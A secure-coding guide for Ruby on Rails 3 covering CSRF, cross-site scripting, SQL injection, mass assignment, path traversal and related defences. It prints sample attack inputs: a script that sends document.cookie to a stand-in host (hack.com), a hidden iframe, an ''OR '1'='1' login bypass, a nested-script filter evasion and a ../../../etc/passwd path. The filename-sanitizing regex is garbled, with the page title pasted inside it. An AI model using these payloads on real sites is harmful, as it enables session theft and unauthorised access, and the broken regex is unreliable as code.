Ruby on Rails 3 Security

Session Fixation

Reset a new session whenever a user just login

reset_session

Cross-Site Request Forgery

  • Rails by default generats an application level controller that creates a secret token that will send along with the request
    class ApplicationController < ActionController::Base
      protect_from_forgery
    end
    
    • If the secret token does not match with the expected value computed from the user session and a server side secret key, the request will be rejected
  • Do not support HTTP GET for sensitive operation
  • In a controller, verify whether an action support HTTP post only
    verify :method => :post, :only => [:action1], :redirect_to => {:action => :show}
    

Avoid Cross-Site Scripting in Ruby on Rails

Application redisplay user input is very vulnerable to Cross-site scripting

  • Social Networking allows user entering comments & messages

To steal a user session ID, a hacker can post the following string as comments. People access the page will have the session ID stolen. The hacker then can re-use the ID and browse the original site as you

<script>document.write('<img src="http://www.hack.com/' + document.cookie + '">');</script>

A hacker may also enter the following string which include a frame in the original site. The content of the iframe may trick you to provide sensitive information (include password)

<iframe name="StatPage" src="http://www.hack.com" width=5 height=5 style="display:none"></iframe>

To counter-measure, sanitize the user input with the Rails' build-in method

<!-- Escape all html element (Default in Rails 3)-->
<%= @user_input %>

<!-- Less restrictive -->
<%= sanitize @user_input %>

Use SafeErb plugin to provide extra protection to alarm developer that strings are not escape correctly

All provide a list of element allowed

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(@user_input, :tags => tags, :attributes => %w(href title))

Escape Data in a Controller

Controller
require "erb"
include ERB::Util

class AccountsController < ApplicationController
  def index
       result = h params[:something]
  ...

Ajax call response may be prepared within an controller rather than a view. So escape user input as above for Ajax call

Http Header

Http Header can also be tempered. Rails automatically escape data when redirect_to is used

redirect_to params[:referer]

Make sure to escape data when you build header fields from user input or the incoming header field

Avoid SQL Injection in Ruby on Rails

When "?" or ":symbol" is used in ":conditions", Rail will sanitize any tainted user input strings

v1, v2 = "john", "tim"
@members = Member.find(:all, :conditions => ["user_name=? or user_name=?", v1, v2]

@members = Member.find(:all, :conditions => ["user_name = :u1 or user_name = :u2", {:u1=>v1,:u2=>v2}]

Without sanitized the user input, the following SQL may authenticate a user by simply supplying the password as '' OR '1'='1'

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")

Generated SQL:
SELECT * FROM users WHERE login = 'john' AND password = '' OR '1'='1' LIMIT 1

Rejected Mal-formed User Input Rather Than Correct It

Reject mal-formed user input rather down stripping out the offense code

input = "<sc<script>ript>"

# Attempt like this to strip out the word "script" can be easily defeated by the string above
input.gsub("<script>", "")

Mass Assignment

def signup
  # Load the User object with the form field data
  @user = User.new(params[:user])  # May auto-populate DB field include setting the admin below to true
  User.user_name
  User.admin
end

For model contain sensitive field

attr_accessible :user_name

@user = User.new(params[:user])

@user.admin         # Will not mass-assigned since it is not on attr_accessible
@user.admin = true  # But it can be set programmatic
  • Since admin is not declared as attr_accessible and therefore will not be mass assigned
  • All attribute that is not attr_accessible is declared as protect and can be assigned programmatically only

File upload/download

User may supply a filename like ../../../etc/passwd to read/override sensitive file. User may upload a file with say .php extension to be executable by the application server

Sanitize filename supplied by user for file upload or download

def sanitize_filename(filename)
  filename.strip.tap do |name|
    name.sub! /\A.*(\\|\/)/, ''
    name.gsub! /[Ruby on Rails v3 Security^\w\.\-]/, '_'
  end
end

Restrict and resconstruct the location where files can be downloaded

basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
     File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, :disposition => 'inline'

Logging

Configure Rails not to log password field in logging (Default in application.rb)

config.filter_parameters += [:password]

Misc

Regular Expression

In Ruby's regular expressions, match the string's beginning and end with \A and \z instead of by ^ and $

":only" vs ":except" options

For security sensitive code, ":only" or ":except" may grant un-intended privilege when adding new action/method. For example, when a developer add another method without modifying the clause below, the new action may grant access to the privileged data

before_filter :get_privileged_data, :except => [:show, :index]

before_filter :check_privilege, :only => [:show, :index]

Other Security Best Practices

  • Put sensitive application like the application administrative tool to a separate sub-domains avoiding XSS or session based hacking
  • Do not send sensitive data in the cookie
  • Use HTTPS for sensitive application
  • Expire a session with a reasonable idle time out
  • Introduce business access rules to limit what an admin user can do
  • Limit access of administrative application by IP address
  • Features like lost password should not provide features to tell whether a username exists. Otherwise, a hacker can brute force guessing a user password
  • Password or email change should require typing the old password